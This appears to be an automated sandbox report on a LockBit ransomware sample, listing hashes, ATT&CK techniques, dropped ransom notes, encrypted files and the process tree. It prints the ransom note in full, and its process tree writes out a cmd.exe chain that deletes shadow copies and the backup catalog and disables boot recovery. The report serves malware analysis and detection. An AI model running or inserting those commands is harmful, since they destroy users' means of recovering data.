lockbit | 6003da433c9240d051c7925dc0fb616a13985ffe8ff65ba1e1092dee7418782d

Analysis

max time kernel
138s
max time network
47s
platform
windows7_x64
resource
win7-20220414-en
submitted
05-05-2022 17:05

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

pandora/890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
Size

146KB
MD5

ba7f3406526469fc750194c438b61e7f
SHA1

8fd61eaba77bd3960cddad16ed352d85559ed6cf
SHA256

890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4
SHA512

39f8f310d035fa2c0c4944c5d5931dffb1d560a2f06bd980201405c566213f7d0028b94457eeebd689bec5d0052fb4a05e235110ff35b24f0da226c9710aadf9

Score

10^/10

lockbit evasion persistence ransomware

Malware Config

Extracted

Path

C:\Program Files\7-Zip\Restore-My-Files.txt

Family

lockbit

Ransom Note

All your important files are encrypted! Any attempts to restore your files with the thrid-party software will be fatal for your files! RESTORE YOU DATA POSIBLE ONLY BUYING private key from us. There is only one way to get your files back: 1) Through a standard browser(FireFox, Chrome, Edge, Opera) | 1. Open link http://lockbit-decryptor.top/?82A16B49309D4262C0372F2C9DFC478E | 2. Follow the instructions on this page 2) Through a Tor Browser - recommended | 1. Download Tor browser - https://www.torproject.org/ and install it. | 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/?82A16B49309D4262C0372F2C9DFC478E This link only works in Tor Browser! | 3. Follow the instructions on this page ### Attention! ### # lockbit-decryptor.top may be blocked. We recommend using a Tor browser to access the site # Do not rename encrypted files. # Do not try to decrypt using third party software, it may cause permanent data loss. # Decryption of your files with the help of third parties may cause increased price(they add their fee to our). # Tor Browser may be blocked in your country or corporate network. Use https://bridges.torproject.org or use Tor Browser over VPN. # Tor Browser user manual https://tb-manual.torproject.org/about

URLs

http://lockbit-decryptor.top/?82A16B49309D4262C0372F2C9DFC478E

http://lockbitks2tvnmwk.onion/?82A16B49309D4262C0372F2C9DFC478E

Signatures

Lockbit
Ransomware family with multiple variants released since late 2019.
ransomware lockbit
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490
Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
ransomware evasion

Inhibit System Recovery
T1490

Processes:

bcdedit.exebcdedit.exe

pid process

584 bcdedit.exe
856 bcdedit.exe
Deletes backup catalog 3 TTPs 1 IoCs
Uses wbadmin.exe to inhibit system recovery.
ransomware

Command-Line Interface
T1059

File Deletion
T1107

Inhibit System Recovery
T1490

Processes:

wbadmin.exe

pid process

1848 wbadmin.exe

pid	process
584	bcdedit.exe
856	bcdedit.exe

pid	process
1848	wbadmin.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000\Software\Microsoft\Windows\CurrentVersion\Run\XO1XADpO01 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\pandora\\890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe\""	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 64 IoCs

Processes:

890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe

pid	process
1684	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
1684	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
1684	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
1684	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
1684	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
1684	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
1684	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
1684	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
1684	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
1684	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
1684	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
1684	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
1684	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
1684	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
1684	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
1684	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
1684	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
1684	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
1684	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
1684	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
1684	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
1684	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
1684	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
1684	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
1684	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
1684	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
1684	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
1684	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
1684	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
1684	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
1684	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
1684	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
1684	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
1684	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
1684	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
1684	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
1684	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
1684	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
1684	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
1684	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
1684	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
1684	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
1684	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
1684	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
1684	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
1684	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
1684	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
1684	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
1684	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
1684	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
1684	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
1684	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
1684	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
1684	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
1684	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
1684	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
1684	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
1684	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
1684	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
1684	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
1684	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
1684	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
1684	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
1684	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe

Drops file in Program Files directory 64 IoCs

Processes:

890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe

description	ioc	process
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx.ui_5.5.0.165303.jar	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-uisupport_zh_CN.jar	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0158071.WMF	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\SY00792_.WMF	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
File opened for modification	C:\Program Files\Windows Sidebar\Gadgets\PicturePuzzle.Gadget\fr-FR\picturePuzzle.html	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\BULLETS\BD21400_.GIF	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\config\Modules\com-sun-tools-visualvm-jvm.xml	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
File opened for modification	C:\Program Files\Windows Sidebar\Gadgets\Clock.Gadget\fr-FR\js\timeZones.js	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\BL00923_.WMF	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\1033\QuickStyles\Perspective.dotx	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.emf.common_2.10.1.v20140901-1043\feature.xml	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.docs.ja_5.5.0.165303.jar	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\SystemV\CST6	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
File opened for modification	C:\Program Files\Windows Sidebar\Gadgets\SlideShow.Gadget\es-ES\js\slideShow.js	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\GRID_01.MID	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
File opened for modification	C:\Program Files\7-Zip\Lang\lv.txt	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Title_Page_Ref.wmv	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-tools_zh_CN.jar	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Makassar	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\SO00416_.WMF	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\SO02793_.WMF	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\SO00683_.WMF	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\SO00820_.WMF	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.osgi.services_3.4.0.v20140312-2051.jar	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
File created	C:\Program Files\Microsoft Games\More Games\fr-FR\Restore-My-Files.txt	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
File opened for modification	C:\Program Files\Mozilla Firefox\omni.ja	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\sl\LC_MESSAGES\vlc.mo	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
File created	C:\Program Files\Windows Sidebar\Gadgets\RSSFeeds.Gadget\ja-JP\Restore-My-Files.txt	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
File opened for modification	C:\Program Files (x86)\Microsoft Analysis Services\AS OLEDB\10\Cartridges\sql70.xsl	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
File created	C:\Program Files\Windows Sidebar\Gadgets\Clock.Gadget\en-US\Restore-My-Files.txt	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
File opened for modification	C:\Program Files\Windows Sidebar\Gadgets\Currency.Gadget\images\base-undocked-2.png	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
File created	C:\Program Files\Windows Sidebar\Gadgets\Weather.Gadget\de-DE\js\Restore-My-Files.txt	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\FD01074_.WMF	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.ssl.feature_1.0.0.v20140827-1444\license.html	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
File opened for modification	C:\Program Files\Windows Mail\fr-FR\WinMail.exe.mui	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\SO00910_.WMF	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\mainscroll.png	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
File created	C:\Program Files\VideoLAN\VLC\locale\mai\LC_MESSAGES\Restore-My-Files.txt	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\BS00100_.WMF	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME03.CSS	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\FORMS\1033\CNFRES.CFG	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
File opened for modification	C:\Program Files\Windows Sidebar\Gadgets\Weather.Gadget\es-ES\js\settings.js	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
File opened for modification	C:\Program Files\Windows Sidebar\Gadgets\Weather.Gadget\ja-JP\css\weather.css	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0107264.WMF	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\1033\PUBSPAPR\PDIR21F.GIF	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\db\lib\derbyLocale_it.jar	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\config\Modules\com-sun-tools-visualvm-modules-appui.xml	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Indian\Christmas	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
File opened for modification	C:\Program Files\Windows Sidebar\Gadgets\PicturePuzzle.Gadget\Images\settings_right_hover.png	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\1033\PUBSPAPR\ZPDIR44B.GIF	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\META-INF\Restore-My-Files.txt	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\Bibliography\Sort\AUTHOR.XSL	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\BULLETS\BD14982_.GIF	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.operations.nl_ja_4.4.0.v20140623020002.jar	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
File opened for modification	C:\Program Files\Windows Sidebar\Gadgets\MediaCenter.Gadget\css\settings.css	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\BABY_01.MID	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0090390.WMF	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0187861.WMF	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\NA00809_.WMF	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-spi-quicksearch_ja.jar	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
File opened for modification	C:\Program Files\Java\jre7\lib\ext\sunmscapi.jar	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
File opened for modification	C:\Program Files\Java\jre7\lib\fonts\LucidaSansDemiBold.ttf	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Grand_Turk	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\SO02022_.WMF	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Interacts with shadow copies 2 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Processes:

vssadmin.exe

pid process

2028 vssadmin.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe

pid process

1684 890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe

pid	process
2028	vssadmin.exe

Suspicious use of AdjustPrivilegeToken 48 IoCs

Processes:

890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exevssvc.exeWMIC.exewbengine.exe

description	pid	process
Token: SeTakeOwnershipPrivilege	1684	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
Token: SeDebugPrivilege	1684	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
Token: SeBackupPrivilege	956	vssvc.exe
Token: SeRestorePrivilege	956	vssvc.exe
Token: SeAuditPrivilege	956	vssvc.exe
Token: SeIncreaseQuotaPrivilege	1188	WMIC.exe
Token: SeSecurityPrivilege	1188	WMIC.exe
Token: SeTakeOwnershipPrivilege	1188	WMIC.exe
Token: SeLoadDriverPrivilege	1188	WMIC.exe
Token: SeSystemProfilePrivilege	1188	WMIC.exe
Token: SeSystemtimePrivilege	1188	WMIC.exe
Token: SeProfSingleProcessPrivilege	1188	WMIC.exe
Token: SeIncBasePriorityPrivilege	1188	WMIC.exe
Token: SeCreatePagefilePrivilege	1188	WMIC.exe
Token: SeBackupPrivilege	1188	WMIC.exe
Token: SeRestorePrivilege	1188	WMIC.exe
Token: SeShutdownPrivilege	1188	WMIC.exe
Token: SeDebugPrivilege	1188	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1188	WMIC.exe
Token: SeRemoteShutdownPrivilege	1188	WMIC.exe
Token: SeUndockPrivilege	1188	WMIC.exe
Token: SeManageVolumePrivilege	1188	WMIC.exe
Token: 33	1188	WMIC.exe
Token: 34	1188	WMIC.exe
Token: 35	1188	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1188	WMIC.exe
Token: SeSecurityPrivilege	1188	WMIC.exe
Token: SeTakeOwnershipPrivilege	1188	WMIC.exe
Token: SeLoadDriverPrivilege	1188	WMIC.exe
Token: SeSystemProfilePrivilege	1188	WMIC.exe
Token: SeSystemtimePrivilege	1188	WMIC.exe
Token: SeProfSingleProcessPrivilege	1188	WMIC.exe
Token: SeIncBasePriorityPrivilege	1188	WMIC.exe
Token: SeCreatePagefilePrivilege	1188	WMIC.exe
Token: SeBackupPrivilege	1188	WMIC.exe
Token: SeRestorePrivilege	1188	WMIC.exe
Token: SeShutdownPrivilege	1188	WMIC.exe
Token: SeDebugPrivilege	1188	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1188	WMIC.exe
Token: SeRemoteShutdownPrivilege	1188	WMIC.exe
Token: SeUndockPrivilege	1188	WMIC.exe
Token: SeManageVolumePrivilege	1188	WMIC.exe
Token: 33	1188	WMIC.exe
Token: 34	1188	WMIC.exe
Token: 35	1188	WMIC.exe
Token: SeBackupPrivilege	1756	wbengine.exe
Token: SeRestorePrivilege	1756	wbengine.exe
Token: SeSecurityPrivilege	1756	wbengine.exe

Suspicious use of WriteProcessMemory 19 IoCs

Processes:

890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.execmd.exe

description	pid	process	target process
PID 1684 wrote to memory of 1584	1684	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe	cmd.exe
PID 1684 wrote to memory of 1584	1684	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe	cmd.exe
PID 1684 wrote to memory of 1584	1684	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe	cmd.exe
PID 1684 wrote to memory of 1584	1684	890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe	cmd.exe
PID 1584 wrote to memory of 2028	1584	cmd.exe	vssadmin.exe
PID 1584 wrote to memory of 2028	1584	cmd.exe	vssadmin.exe
PID 1584 wrote to memory of 2028	1584	cmd.exe	vssadmin.exe
PID 1584 wrote to memory of 1188	1584	cmd.exe	WMIC.exe
PID 1584 wrote to memory of 1188	1584	cmd.exe	WMIC.exe
PID 1584 wrote to memory of 1188	1584	cmd.exe	WMIC.exe
PID 1584 wrote to memory of 584	1584	cmd.exe	bcdedit.exe
PID 1584 wrote to memory of 584	1584	cmd.exe	bcdedit.exe
PID 1584 wrote to memory of 584	1584	cmd.exe	bcdedit.exe
PID 1584 wrote to memory of 856	1584	cmd.exe	bcdedit.exe
PID 1584 wrote to memory of 856	1584	cmd.exe	bcdedit.exe
PID 1584 wrote to memory of 856	1584	cmd.exe	bcdedit.exe
PID 1584 wrote to memory of 1848	1584	cmd.exe	wbadmin.exe
PID 1584 wrote to memory of 1848	1584	cmd.exe	wbadmin.exe
PID 1584 wrote to memory of 1848	1584	cmd.exe	wbadmin.exe

C:\Users\Admin\AppData\Local\Temp\pandora\890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
"C:\Users\Admin\AppData\Local\Temp\pandora\890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe"
1⤵
- Adds Run key to start application
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1684

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
2⤵
- Suspicious use of WriteProcessMemory
PID:1584

C:\Windows\system32\vssadmin.exe
vssadmin delete shadows /all /quiet
3⤵
- Interacts with shadow copies
PID:2028

C:\Windows\System32\Wbem\WMIC.exe
wmic shadowcopy delete
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1188

C:\Windows\system32\bcdedit.exe
bcdedit /set {default} bootstatuspolicy ignoreallfailures
3⤵
- Modifies boot configuration data using bcdedit
PID:584

C:\Windows\system32\bcdedit.exe
bcdedit /set {default} recoveryenabled no
3⤵
- Modifies boot configuration data using bcdedit
PID:856

C:\Windows\system32\wbadmin.exe
wbadmin delete catalog -quiet
3⤵
- Deletes backup catalog
PID:1848

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:956

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1756

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:936

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:1600

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Command-Line Interface

T1059

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File Deletion

T1107

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

\??\PIPE\srvsvc
MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
memory/584-58-0x0000000000000000-mapping.dmp

Download
memory/856-59-0x0000000000000000-mapping.dmp

Download
memory/1188-57-0x0000000000000000-mapping.dmp

Download
memory/1584-55-0x0000000000000000-mapping.dmp

Download
memory/1684-54-0x0000000074F91000-0x0000000074F93000-memory.dmp

Filesize
8KB

Download
memory/1848-60-0x0000000000000000-mapping.dmp

Download
memory/1848-61-0x000007FEFB6D1000-0x000007FEFB6D3000-memory.dmp

Filesize
8KB

Download
memory/2028-56-0x0000000000000000-mapping.dmp

Download